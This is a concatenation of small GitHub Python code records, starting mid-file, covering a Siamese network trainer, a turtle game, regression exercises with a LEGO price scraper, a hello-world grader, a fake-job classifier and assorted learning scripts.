Input(shape=(self.input_feature_size,))\n\n # Define model.\n self.net = SiameseModel(self.embedding_model)\n self.net([input_1, input_2])\n\n # Compile the model.\n self.net.compile(loss=self.contrastive_loss, optimizer='adam') \n\n # Print model summary.\n def print_model(self):\n self.net.summary()\n \n # Save model weights and attributes.\n # model_name - The name of the file where to store the model weights and\n # the name of the .pkl file to store the model attributes.\n def save_model(self, model_name=''):\n model_attributes = {\n \"net\": \"siamese\",\n \"dataset_name\": self.data_handler.dataset_name,\n \"classes\": self.data_handler.class_labels.tolist(),\n \"alpha\": self.alpha,\n \"model_number\": self.model_handler.model_number,\n \"embedding_size\": self.model_handler.embedding_size,\n \"batch_size\": self.batch_size,\n \"epochs\": self.epochs,\n \"steps_per_epoch\": self.steps_per_epoch,\n \"mining_method\": self.mining_method\n }\n \n if model_name == '':\n model_name = 'model' + str(model_attributes[\"model_number\"]) + '_alpha' \\\n + str(model_attributes[\"alpha\"]) + '_epochs' + str(model_attributes[\"epochs\"]) \\\n + '_batchSize' + str(model_attributes[\"batch_size\"]) \\\n + '_steps' + str(model_attributes[\"steps_per_epoch\"])\n \n with open('./models/contrastive/' + model_name + '.pkl', 'wb') as file:\n pickle.dump(model_attributes, file)\n \n self.net.save_weights('./models/contrastive/' + model_name)\n \n # Load model.\n # model_name - The name of the file where the model weights are stored and\n # the name of the .pkl file where the model attributes are stored.\n def load_model(self, model_name):\n with open('./models/contrastive/' + model_name + '.pkl', 'rb') as file:\n model_attributes = pickle.load(file)\n \n self.data_handler = DataHandler(model_attributes['dataset_name'], model_attributes['classes'])\n self.input_feature_size = self.data_handler.n_features\n self.model_handler = ModelHandler(model_attributes['model_number'], model_attributes['embedding_size'], input_feature_dim=self.data_handler.shape)\n self.embedding_model = self.model_handler.model\n self.embedding_size = self.model_handler.embedding_size\n self.alpha = model_attributes['alpha']\n self.batch_size = model_attributes['batch_size']\n self.epochs = model_attributes['epochs']\n self.steps_per_epoch = model_attributes['steps_per_epoch']\n self.mining_method = model_attributes['mining_method']\n \n self.create_siamese_net()\n\n self.net.load_weights('./models/contrastive/' + model_name)\n\n # Data generator for model training.\n def data_generator(self):\n while True:\n x = self.create_a_batch_callback.xs\n y = self.create_a_batch_callback.ys\n yield x, y\n\n # TODO: check if needed!\n @staticmethod\n def euclidian_distance(vectors):\n (positive, negative) = vectors\n return tf.reduce_mean(tf.square(positive - negative), axis=1)\n\n # Contrastive loss.\n # y_true - Set of correct labels. Here, y_true is a vector of similarities between the two, paired vectors.\n # Value is 0 for similar points and 1 for dissimilar points.\n # y_pred - Set of predicted values - embedded points.\n def contrastive_loss(self, y_true, y_pred):\n positive, negative = y_pred[:, :self.embedding_size], y_pred[:, self.embedding_size:]\n dist = tf.reduce_mean(tf.square(positive - negative), axis=1)\n return (1 - y_true) * dist + y_true * tf.maximum(0., self.alpha - dist)\n \n # Train the model.\n # create_batch_function_name - Name of the mining method.\n # It can be one of the following: \"create_pair_batch_random\".\n # batch_size - Batch size.\n # epochs - Number of epochs.\n # steps_per_epoch - Steps per epoch.\n def train(self, create_batch_function_name, batch_size, epochs, steps_per_epoch):\n # Save parameters.\n self.mining_method = create_batch_function_name\n self.batch_size = batch_size\n self.epochs = epochs\n self.steps_per_epoch = steps_per_epoch\n \n # Create a callback object.\n self.create_a_batch_callback = TrainingCallback(self.data_handler, create_batch_function_name, batch_size=batch_size)\n \n # Create validation pairs.\n # TODO: How many validation pairs to use? For now I use default value of 1000.\n [x_1s, x_2s], ys = self.create_validation_pairs()\n validation_data = ([x_1s, x_2s], ys)\n \n # Train the model.\n history = self.net.fit(\n self.data_generator(),\n steps_per_epoch=steps_per_epoch, epochs=epochs, verbose=True,\n validation_data=validation_data, callbacks=[self.create_a_batch_callback])\n \n return history\n \n # Create number_of_pairs validation pairs.\n # number_of_pairs - Number of pairs to generate.\n def create_validation_pairs(self, number_of_pairs=1000):\n # Initialize arrays.\n x_1s = np.zeros((number_of_pairs, self.data_handler.n_features))\n x_2s = np.zeros((number_of_pairs, self.data_handler.n_features))\n # Similarity array: 0 - data from the same class, 1 - different class.\n ys = np.zeros(number_of_pairs)\n\n for i in range(0, number_of_pairs):\n # Choose first element x_1 randomly.\n random_index = randint(0, self.data_handler.n_validate - 1)\n x_1 = self.data_handler.X_validate[random_index]\n y_1 = self.data_handler.y_validate[random_index]\n\n # Choose second element x_2 randomly.\n random_index = randint(0, self.data_handler.n_validate - 1)\n x_2 = self.data_handler.X_validate[random_index]\n y_2 = self.data_handler.y_validate[random_index]\n\n if y_1 == y_2:\n ys[i] = 0\n else:\n ys[i] = 1\n\n # Declare i-th pair.\n x_1s[i] = x_1\n x_2s[i] = x_2\n \n return [x_1s, x_2s], ys\n \n# SiameseModel class, derived from tensorflow Model class.\nclass SiameseModel(Model):\n # Constructor for the SiameseModel class.\n # embedding_model - Base model with which to construct siamese net.\n def __init__(self, embedding_model):\n super(SiameseModel, self).__init__()\n self.embedding_model = embedding_model\n\n # Construct Siamese net.\n def call(self, inputs, training=False):\n embedded_1 = self.embedding_model(inputs[0]) # input_1\n embedded_2 = self.embedding_model(inputs[1]) # input_2\n # distance = Lambda(self.euclidean_distance)([embedded_1, embedded_2])\n # output = Dense(1, activation=\"sigmoid\")(distance)\n output = concatenate([embedded_1, embedded_2], axis=1)\n\n return output\n\n# TainingCallback class. Used for generating new batches on batch_end.\nclass TrainingCallback(Callback):\n # Constructor for the TrainingCallback object.\n # data_handler - DataHandler object.\n # batch_function_name - Name of the batch function to use for selecting batch samples.\n # batch_size - Batch size.\n # same_class_frequency - Optional parameter. Frequency with which pairs of the same class are generated.\n # If none is specified. The frequency will be 1/number of classes.\n # This parameter should take values in the range of [0, 1].\n def __init__(self, data_handler, batch_function_name, batch_size, same_class_frequency=-1):\n self.data_handler = data_handler\n self.batch_function_name = batch_function_name\n self.batch_size = batch_size\n if same_class_frequency == -1:\n self.same_class_frequency = 1/self.data_handler.n_classes\n else:\n self.same_class_frequency = same_class_frequency\n \n self.xs, self.ys = self.create_pair_batch_random(self.same_class_frequency)\n\n # Callback function that is called at each batch end. Here, a new batch is formed.\n def on_train_batch_end(self, batch, logs=None):\n if self.batch_function_name == \"create_pair_batch_random\":\n self.xs, self.ys = self.create_pair_batch_random(self.same_class_frequency)\n else:\n print(\"Invalid function name. Exiting program...\")\n raise SystemExit(0)\n \n # Create a batch of batch_size number of pairs. Batches are created randomly.\n # same_class_frequency - Frequency with which pairs of the same class are generated.\n def create_pair_batch_random(self, same_class_frequency=-1): \n x_1s = np.zeros((self.batch_size, self.data_handler.n_features))\n x_2s = np.zeros((self.batch_size, self.data_handler.n_features))\n # Similarity array: 0 - data from the same class, 1 - different class.\n ys = np.zeros(self.batch_size)\n\n for i in range(0, self.batch_size):\n # Choose first element x_1 randomly.\n random_index = randint(0, self.data_handler.n_train - 1)\n x_1 = self.data_handler.X_train[random_index]\n y_1 = self.data_handler.y_train[random_index]\n\n # Find indices of similar and dissimilar elements.\n similar_indices = np.squeeze(np.where(self.data_handler.y_train == y_1))\n dissimilar_indices = np.squeeze(np.where(self.data_handler.y_train != y_1))\n\n # Most of the data is going to be dissimilar.\n # With choose_probability we want to give some advantage to the similar data as well.\n # TODO: This parameter has some powerful effects on the results. Document it!\n choose_probability = random()\n\n if choose_probability < same_class_frequency:\n # Choose a random similar example.\n ys[i] = 0\n # We assume that there is at least one similar example.\n if similar_indices.ndim != 0:\n random_index = randint(0, len(similar_indices) - 1)\n x_2 = self.data_handler.X_train[similar_indices[random_index]]\n else:\n x_2 = self.data_handler.X_train[similar_indices]\n else:\n # Choose a random dissimilar example.\n ys[i] = 1\n random_index = randint(0, len(dissimilar_indices) - 1)\n x_2 = self.data_handler.X_train[dissimilar_indices[random_index]]\n\n # Declare i-th pair.\n x_1s[i] = x_1\n x_2s[i] = x_2\n \n return [x_1s, x_2s], ys\n","repo_name":"adrijanailic/Master_rad","sub_path":"SiameseNet.py","file_name":"SiameseNet.py","file_ext":"py","file_size_in_byte":12547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70164359554","text":"from car_manager import CarManager\nfrom player import Player\nfrom scoreboard import Scoreboard\nfrom turtle import Screen, Turtle\nimport time\n\n# Setup screen config\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.tracer(0)\n\n# Define bodies\nplayer = Player()\ncar_manager = CarManager()\nscoreboard = Scoreboard()\nmessage_board = Turtle()\nmessage_board.hideturtle()\nmessage_board.penup()\n\nis_game_on = False\nuser_difficulty = screen.textinput(\"Set Difficulty\", \"Choose difficulty (easy/hard): \")\n\n# Write player controls instructions\nscreen.update()\nfor i in range(5, 0, -1):\n message_board.goto(0, 0)\n if user_difficulty == \"hard\":\n message_board.write(\"The turtle can only move up!\", align=\"center\", font=(\"Courier\", 12, \"normal\"))\n else:\n message_board.write(\"The turtle can move up, down, right and left!\", align=\"center\",\n font=(\"Courier\", 12, \"normal\"))\n\n message_board.goto(0, -50)\n message_board.write(i, align=\"center\", font=(\"Courier\", 12, \"normal\"))\n screen.update()\n time.sleep(1)\n message_board.clear()\n\n# Set key listener and Player controls\nscreen.listen()\nscreen.onkeypress(player.move_up, \"Up\")\nif user_difficulty == \"easy\":\n screen.onkeypress(player.move_left, \"Left\")\n screen.onkeypress(player.move_down, \"Down\")\n screen.onkeypress(player.move_right, \"Right\")\n\n\nis_game_on = True\nwhile is_game_on:\n time.sleep(0.1)\n screen.update()\n\n # Generate and move all the cars perpetually to the left\n car_manager.generate_car()\n car_manager.move_car()\n\n # Detect Player collision with any car\n for car in car_manager.cars:\n if car.distance(player) < 20:\n scoreboard.end_game()\n is_game_on = False\n\n # Detect successful crossing\n if player.is_at_finish_line():\n scoreboard.level_up()\n player.go_to_start()\n car_manager.accelerate()\n\nscreen.exitonclick()\n","repo_name":"RobertoLJr/100-days-of-python","sub_path":"day-023-turtle-crossing-game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"30726870848","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n 0.8 Regression\n 参考:https://cloud.tencent.com/developer/article/1052837===\n\n\"\"\"\n\nfrom numpy import *\nimport matplotlib.pyplot as plt\n\ndef loadDataSet(fileName):\n numFeat = len(open(fileName).readline().split('\\t')) - 1\n dataMat = []; labelMat = []\n fr = open(fileName)\n for line in fr.readlines():\n lineArr = []\n curLine = line.strip().split('\\t')\n for i in range(numFeat):\n lineArr.append(float(curLine[i]))\n dataMat.append(lineArr)\n labelMat.append(float(curLine[-1]))\n return dataMat, labelMat\n\ndef standRegres(xArr, yArr):\n xMat = mat(xArr); yMat = mat(yArr).T\n xTx = xMat.T * xMat\n if linalg.det(xTx) == 0.0: # 计算一个数组的行列式,判断是否能计算逆矩阵\n print('This matrix is singular, cannot do inverse')\n return\n ws = xTx.I * (xMat.T * yMat)\n return ws\n\n# 局部加权线性回归===给待测点附近的每个点赋予一定的权重\n# 程序的计算量增加,预测每个点时使用整个数据集\ndef lwlr(testPoint,xArr,yArr,k=1.0):\n xMat = mat(xArr); yMat=mat(yArr).T\n m = shape(xMat)[0]\n weights = mat(eye((m))) # 创建对角矩阵\n for j in range(m):\n diffMat = testPoint - xMat[j,:]\n weights[j,j] = exp(diffMat*diffMat.T/(-2.0*k**2)) # 使用高斯核,赋予权重 # 权重大小以指数级衰减,使用k来调节\n xTx = xMat.T * (weights * xMat)\n if linalg.det(xTx) == 0.0:\n print('This matrix is singular, cannot do inverse')\n return\n ws = xTx.I * (xMat.T * (weights * yMat))\n return testPoint * ws\n\ndef lwlrTest(testArr, xArr, yArr, k=1.0):\n m = shape(testArr)[0]\n yHat = zeros(m)\n for i in range(m):\n yHat[i] = lwlr(testArr[i],xArr,yArr,k)\n return yHat\n\ndef rssError(yArr,yHatArr):\n return ((yArr-yHatArr)**2).sum()\n\ndef ridgeRegres(xMat,yMat,lam=0.2):\n xTx = xMat.T * xMat\n denom = xTx + eye(shape(xMat)[1]) * lam\n if linalg.det(denom) == 0.0:\n print('this matrix is singular, cannot do inverse')\n return\n ws = denom.I * (xMat.T * yMat)\n return ws\n\ndef ridgeTest(xArr,yArr):\n xMat = mat(xArr); yMat=mat(yArr).T\n yMean = mean(yMat,0)\n yMat = yMat - yMean\n xMeans = mean(xMat,0)\n xVar = var(xMat,0)\n xMat = (xMat - xMeans)/xVar # 数据的标准化处理\n\n numTestPts = 30\n wMat = zeros((numTestPts,shape(xMat)[1]))\n for i in range(numTestPts):\n ws = ridgeRegres(xMat,yMat,exp(i-10))\n wMat[i,:]=ws.T\n return wMat\n\ndef regularize(xMat): # 数据标准化\n inMat = xMat.copy()\n inMeans = mean(inMat,0) #calc mean then subtract it off\n inVar = var(inMat,0) #calc variance of Xi then divide by it\n inMat = (inMat - inMeans)/inVar\n return inMat\n\n# 前向逐步线性回归\ndef stageWise(xArr, yArr, eps=0.01,numIt=100):\n xMat = mat(xArr); yMat=mat(yArr).T\n yMean = mean(yMat,0)\n yMat = yMat - yMean\n xMat = regularize(xMat)\n m,n = shape(xMat)\n returnMat = zeros((numIt,n))\n ws = zeros((n,1)); wsTest = ws.copy(); wsMax = ws.copy()\n for i in range(numIt): # 迭代次数\n print(ws.T)\n lowestError = inf;\n for j in range(n): # 对每个特征\n for sign in [-1,1]: # 增大或缩小\n wsTest = ws.copy()\n wsTest[j] += eps*sign # 依据步长eps增加或减小,获得新的ws\n yTest = xMat * wsTest\n rssE = rssError(yMat.A,yTest.A) # 计算新ws下的误差\n if rssE < lowestError:\n lowestError = rssE\n wsMax = wsTest\n ws = wsMax.copy()\n returnMat[i,:]=ws.T\n return returnMat\n\nfrom bs4 import BeautifulSoup\n\ndef scrapePage(retX, retY, inFile, yr, numPce, origPrc):\n \"\"\"\n 从页面读取数据,生成retX和retY列表\n :param retX:数据x\n :param retY:数据y\n :param inFile:HTML文件\n :param yr:年份\n :param numPce:乐高部件数目\n :param origPrc:原价\n :return:\n \"\"\"\n # 打开并读取HTML文件\n with open(inFile, encoding='utf-8') as f:\n html = f.read()\n soup = BeautifulSoup(html)\n i = 1\n # 根据HTML页面结构进行解析\n currentRow = soup.find_all('table', r=\"%d\" % i)\n while (len(currentRow) != 0):\n currentRow = soup.find_all('table', r=\"%d\" % i)\n title = currentRow[0].find_all('a')[1].text\n lwrTitle = title.lower()\n # 查找是否有全新标签\n if (lwrTitle.find('new') > -1) or (lwrTitle.find('nisb') > -1):\n newFlag = 1.0\n else:\n newFlag = 0.0\n # 查找是否已经标志出售,我们只收集已出售的数据\n soldUnicde = currentRow[0].find_all('td')[3].find_all('span')\n if len(soldUnicde) == 0:\n print(\"商品 #%d 没有出售\" % i)\n else:\n # 解析页面获取当前价格\n soldPrice = currentRow[0].find_all('td')[4]\n priceStr = soldPrice.text\n priceStr = priceStr.replace('$', '')\n priceStr = priceStr.replace(',', '')\n if len(soldPrice) > 1:\n priceStr = priceStr.replace('Free shipping', '')\n sellingPrice = float(priceStr)\n # 去掉不完整的套装价格\n if sellingPrice > origPrc * 0.5:\n print(\"%d\\t%d\\t%d\\t%f\\t%f\" % (yr, numPce, newFlag, origPrc, sellingPrice))\n retX.append([yr, numPce, newFlag, origPrc])\n retY.append(sellingPrice)\n i += 1\n currentRow = soup.find_all('table', r=\"%d\" % i)\n\ndef setDataCollect(retX, retY):\n \"\"\"\n 函数说明:依次读取六种乐高套装的数据,并生成数据矩阵\n Parameters:\n 无\n Returns:\n 无\n \"\"\"\n scrapePage(retX, retY, './lego/lego8288.html', 2006, 800, 49.99) # 2006年的乐高8288,部件数目800,原价49.99\n scrapePage(retX, retY, './lego/lego10030.html', 2002, 3096, 269.99)\n scrapePage(retX, retY, './lego/lego10179.html', 2007, 5195, 499.99)\n scrapePage(retX, retY, './lego/lego10181.html', 2007, 3428, 199.99)\n scrapePage(retX, retY, './lego/lego10189.html', 2008, 5922, 299.99)\n scrapePage(retX, retY, './lego/lego10196.html', 2009, 3263, 249.99)\n\ndef crossValidation(xArr,yArr,numVal=10):\n m = len(yArr)\n indexList = list(range(m))\n errorMat = zeros((numVal,30))\n for i in range(numVal):\n trainX=[];trainY=[]\n testX=[];testY=[]\n random.shuffle(indexList) # 将列表中的元素打乱\n for j in range(m): # 划分数据,训练集和测试集\n if j < m*0.9:\n trainX.append(xArr[indexList[j]])\n trainY.append(yArr[indexList[j]])\n else:\n testX.append(xArr[indexList[j]])\n testY.append(yArr[indexList[j]])\n wMat = ridgeTest(trainX,trainY) # 岭回归\n for k in range(30):\n matTestX = mat(testX); matTrainX=mat(trainX)\n meanTrain = mean(matTrainX,0)\n varTrain = var(matTrainX,0)\n matTestX = (matTestX-meanTrain)/varTrain # 使用训练时的参数将测试数据标准化\n yEst = matTestX * mat(wMat[k,:]).T + mean(trainY)\n errorMat[i,k] = rssError(yEst.T.A,array(testY))\n meanErrors = mean(errorMat,0)\n minMean = float(min(meanErrors))\n bestWeights = wMat[nonzero(meanErrors==minMean)]\n xMat = mat(xArr); yMat = mat(yArr).T\n meanX = mean(xMat,0); varX = var(xMat,0)\n unReg = bestWeights/varX # 数据还原\n print('the best model from Ridge Regression is:\\n',unReg)\n print('with constant term: ',-1*sum(multiply(meanX,unReg)) + mean(yMat))\n\n\n\ndef run_main():\n\n # xArr, yArr = loadDataSet('ex0.txt')\n # print(xArr[:2])\n # ws = standRegres(xArr,yArr)\n # print(ws)\n #\n # xMat = mat(xArr)\n # yMat = mat(yArr)\n # yHat = xMat * ws\n #\n # print(corrcoef(yHat.T,yMat)) #预测与真实序列的相关系数\n #\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.scatter(xMat[:,1].flatten().A[0], yMat.T[:,0].flatten().A[0])\n # xCopy = xMat.copy()\n # xCopy.sort(0)\n # yHat=xCopy*ws\n # ax.plot(xCopy[:,1],yHat)\n # plt.show()\n\n # xArr, yArr = loadDataSet('ex0.txt')\n # print(yArr[0])\n # yhat = lwlr(xArr[0],xArr,yArr,1.0)\n # print(yhat)\n # yhat = lwlr(xArr[0], xArr, yArr, 0.01)\n # print(yhat)\n #\n # yHat = lwlrTest(xArr,xArr,yArr,0.003)\n # xMat = mat(xArr)\n # srtInd = xMat[:,1].argsort(0)\n # xSort = xMat[srtInd][:,0,:]\n #\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.plot(xSort[:,1],yHat[srtInd])\n # ax.scatter(xMat[:,1].flatten().A[0], mat(yArr).T.flatten().A[0],s=2,c='red')\n # plt.show()\n\n\n # abX,abY = loadDataSet('abalone.txt')\n # yHat01 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],0.1)\n # yHat1 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],1)\n # yHat10 = lwlrTest(abX[0:99], abX[0:99], abY[0:99], 10)\n #\n # print(rssError(abY[0:99],yHat01.T))\n # print(rssError(abY[0:99], yHat1.T))\n # print(rssError(abY[0:99], yHat10.T))\n #\n # yHat01 = lwlrTest(abX[100:199], abX[0:99], abY[0:99], 0.1)\n # yHat1 = lwlrTest(abX[100:199], abX[0:99], abY[0:99], 1)\n # yHat10 = lwlrTest(abX[100:199], abX[0:99], abY[0:99], 10)\n #\n # print(rssError(abY[100:199], yHat01.T))\n # print(rssError(abY[100:199], yHat1.T))\n # print(rssError(abY[100:199], yHat10.T))\n #\n # ws = standRegres(abX[0:99],abY[0:99])\n # yHat = mat(abX[100:199]) * ws\n # print(rssError(abY[100:199],yHat.T.A))\n\n # abX, abY = loadDataSet('abalone.txt')\n # ridgeWeights = ridgeTest(abX,abY)\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.plot(ridgeWeights)\n # plt.show()\n\n # xArr,yArr = loadDataSet('abalone.txt')\n # stageWise(xArr,yArr,0.001,5000)\n # print('--------------------------------')\n #\n # xMat = mat(xArr)\n # yMat = mat(yArr).T\n # xMat = regularize(xMat)\n # yM = mean(yMat,0)\n # yMat = yMat - yM\n # weights = standRegres(xMat,yMat.T)\n # print(weights.T)\n\n lgX = []; lgY = []\n setDataCollect(lgX,lgY)\n # print(shape(lgX))\n lgX1 = mat(ones((63,5)))\n lgX1[:,1:5] = mat(lgX)\n # print(lgX[0])\n # print(lgX1[0])\n ws = standRegres(lgX1,lgY)\n print(ws)\n # print(lgX1*ws)\n\n crossValidation(lgX,lgY,10)\n print()\n\nif __name__ == '__main__':\n run_main()","repo_name":"rulinqi/ml_action_book_py3","sub_path":"regression_08/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":10413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32468500713","text":"import unittest\nimport xmlrunner\nimport subprocess\n\n\nclass HelloWorldTest(unittest.TestCase):\n testScore = 0\n\n MAX_TESTED_SCORE = 20\n MAX_OVERALL_SCORE = 25\n\n def tearDown(self) -> None:\n if self.testScore == self.MAX_TESTED_SCORE:\n print(\"\\nYour unit test score is \",\n self.testScore,\n \" out of \",\n self.MAX_TESTED_SCORE,\n \"\\n\")\n else:\n print(\"\\nYour unit test score is \",\n self.testScore,\n \" out of \",\n self.MAX_TESTED_SCORE,\n \" (\",\n (self.testScore - self.MAX_TESTED_SCORE),\n \")\\n\")\n\n print(\"The assignment is worth a total of \",\n self.MAX_OVERALL_SCORE,\n \" where the remaining points\")\n print(\"comes from grading related to documentation, algorithms, and other\")\n print(\"criteria.\\n\\n\")\n\n def test(self):\n # call hello world script command ##\n p = subprocess.Popen(\"python3 src/hello_world.py\", stdout=subprocess.PIPE, shell=True)\n\n (output, err) = p.communicate()\n p_status = p.wait()\n\n self.assertEqual(b'Hello, World!\\n', output)\n self.testScore += 10\n self.assertEqual(0, p_status)\n self.testScore += 10\n\n\nif __name__ == '__main__':\n unittest.main(testRunner=xmlrunner.XMLTestRunner(output='test-reports'))\n","repo_name":"vc-csv11/EX01-HelloWorld","sub_path":"tests/grader.py","file_name":"grader.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23860645978","text":"n = int(input())\narr = list(map(int, input().split()))\ncount = 0\nfor i in range(2 * n):\n if arr[i] == 0:\n continue\n for j in range(i + 1, 2 * n):\n if arr[i] == arr[j]:\n arr[j] = 0\n break\n count += (arr[j] > 0)\nprint(count)","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Suit and Tie.py","file_name":"Suit and Tie.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12453499157","text":"from typing import Type, get_type_hints\n\nfrom pydantic import BaseModel, Extra\n\n\ndef required(required: list[str]):\n def decorator(cls: Type[BaseModel]):\n nonlocal required\n type_hints = get_type_hints(cls)\n fields = cls.__fields__\n optional = fields.keys() - required\n optional = [fields[field_name] for field_name in optional]\n required = [fields[field_name] for field_name in required]\n for field in optional:\n field.required = False\n cls.__annotations__[field.name] = type_hints[field.name] | None\n for field in required:\n field.required = True\n return cls\n\n return decorator\n\n\ndef to_camelcase(string: str) -> str:\n words = string.split(\"_\")\n for idx, word in enumerate(words[1:], 1):\n words[idx] = word.capitalize()\n return \"\".join(words)\n\n\nclass CamelCaseModel(BaseModel):\n class Config:\n extra = Extra.forbid\n alias_generator = to_camelcase\n allow_population_by_field_name = True\n\n def json(self, **kwargs):\n if \"by_alias\" not in kwargs:\n kwargs[\"by_alias\"] = True\n return super().dict(**kwargs)\n\n # def dict(self, **kwargs):\n # if \"by_alias\" not in kwargs:\n # kwargs[\"by_alias\"] = True\n # return super().dict(**kwargs)\n","repo_name":"alvaronaschez/bookstore-fastapi","sub_path":"bookstore/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"26024952660","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.ensemble import RandomForestClassifier\nimport pandas as pd\nimport numpy as np\n\n\ndf = pd.read_csv('./fake_jobs_dataset_v2.csv')\n\nfake = df.loc[df['fraudulent'] == 1]\nprint(df.head())\nprint(fake)\n\n\ndf['company_profile'].head()\n\n\nvectorizer = CountVectorizer(analyzer = \"word\", tokenizer = None, preprocessor = None, stop_words = None)\n\n\nfrom sklearn.model_selection import train_test_split\n\n\nX = vectorizer.fit_transform(df['company_profile'].values.astype('U'))\nY = df[['fraudulent']].values\nprint(X)\n\n\nnp.asarray(X)\n\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, train_size=0.8)\n\n\nprint(X_train.shape, X_test.shape, Y_train.shape, Y_test.shape)\n\n\nforest = RandomForestClassifier(n_estimators = 100)\n\n\nforest = forest.fit(X_train, Y_train.ravel())\n\n\nY_pred = forest.predict(X_test)\n\n\nY_test = Y_test.flatten()\nY_pred = Y_pred.flatten()\nprint(Y_pred)\n\n\ndf_rfc = pd.DataFrame({'Y_test': Y_test, 'Y_pred': Y_pred})\npd.set_option('display.max_rows', 60)\n#pd.set_option(\"min_rows\", 4470)\nprint(df_rfc)\n\n\nfrom sklearn.metrics import accuracy_score\n\n\nprint(accuracy_score(Y_pred, Y_test))\n\n\ntester = ['We are a food company that serve food from a truck']\ntesting = vectorizer.transform(tester)\nnp.asarray(testing)\n\n\nresult = forest.predict(testing)\nif result:\n print('Fake')\nelse:\n print('Real')\nprint(result)\n","repo_name":"Pagolicious/Applicerad_AI","sub_path":"RandomForest/rf_bagofwords.py","file_name":"rf_bagofwords.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"20162842728","text":"# стр. 521\n#Cоздавание и запуск функции в отдельном процессе\n\nimport multiprocessing\nimport time\n\ndef clock(interval):\n while True:\n print('The time is %s' % time.ctime())\n time.sleep(interval)\n\nif __name__ == '__main__':\n p = multiprocessing.Process(target=clock, args=(15,))\n p.start()\n\n\nimport multiprocessing\nimport time\n\nclass ClockProcess(multiprocessing.Process):\n def __init__(self,interval):\n multiprocessing.Process.__init__(self)\n self.interval = interval\n def run(self):\n while True:\n print('The time is %s' % time.ctime())\n time.sleep(self.interval)\n\nif __name__ == '__main__':\n p = ClockProcess(15)\n p.start()\n","repo_name":"Pollyvitamin/Python_Essential_Reference-David-Beazley-","sub_path":"'Create and run a function in a separate process'.py","file_name":"'Create and run a function in a separate process'.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"3086741687","text":"\"\"\"FIFO\nImplementation\n - add to the end and remove from the beginning: - both O(1) in LinkedList\n : - first O(1) and another O(n) in list\nadd to the end - last - Enqueue\nremove from the beginning - first - Dequeue\n\"\"\"\n\n\n\"\"\"47.Queue: Constructor\"\"\"\nclass Node: # same as LinkedList\n def __init__(self, value):\n self.value = value\n self.next = None\n\nclass Queue:\n def __init__(self, value):\n new_node = Node(value)\n self.first = new_node\n self.last = new_node\n self.length = 1\n\n def print_queue(self):\n temp = self.first\n while temp is not None:\n print(temp.value)\n temp = temp.next\n \n \"\"\"48.Queue: Enqueue\"\"\"\n def enqueue(self, value):\n new_node = Node(value)\n if self.first is None:\n self.first = new_node\n self.last = new_node\n else: \n self.last.next = new_node\n self.last = new_node\n self.length += 1\n return True\n\n \"\"\"49.Queue: Dequeue\"\"\"\n def dequeue(self, value):\n if self.length == 0:\n return None\n temp = self.first\n if self.length == 1:\n self.first = None\n self.last = None\n else:\n self.first = self.first.next\n temp.next = None\n self.length -=1\n return temp\n\n\nmy_queue = Queue(8)\nmy_queue.print_queue() # 8\nmy_queue.enqueue(11) # 8 11\nmy_queue.enqueue(12) # 8 11 12\nmy_queue.dequeue() # 11 12\n","repo_name":"shakhnoza-i/algorithm_data_structure","sub_path":"04_stack_queue/46_queue.py","file_name":"46_queue.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"28238306116","text":"# search in a sorted array\n\n# iterative solution \n\ndef binarysearch_iterative(arr,x):\n low=0\n high=len(arr)-1\n while low<=high:\n mid=(low+high)//2\n if arr[mid]==x:\n return mid\n elif arr[mid]x:\n high=mid-1\n return -1\n\narr=[12, 19, 78, 105, 123, 135, 206, 569]\nx=106\nprint(binarysearch_iterative(arr,x))\n\n# recursive solution\n\ndef binarysearch_recursive(arr,x,low,high):\n if low<=high:\n mid=(low+high)//2\n if arr[mid]==x:\n return mid\n elif arr[mid]x:\n return binarysearch_recursive(arr,x,low,mid-1)\n else:\n return -1\n\narr=[12, 19, 78, 105, 123, 135, 206, 569]\nx=106\nprint(binarysearch_recursive(arr,x,0,len(arr)-1))\n\n\n\n","repo_name":"withinfinitedegreesoffreedom/datastructures-algorithms","sub_path":"misc/binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
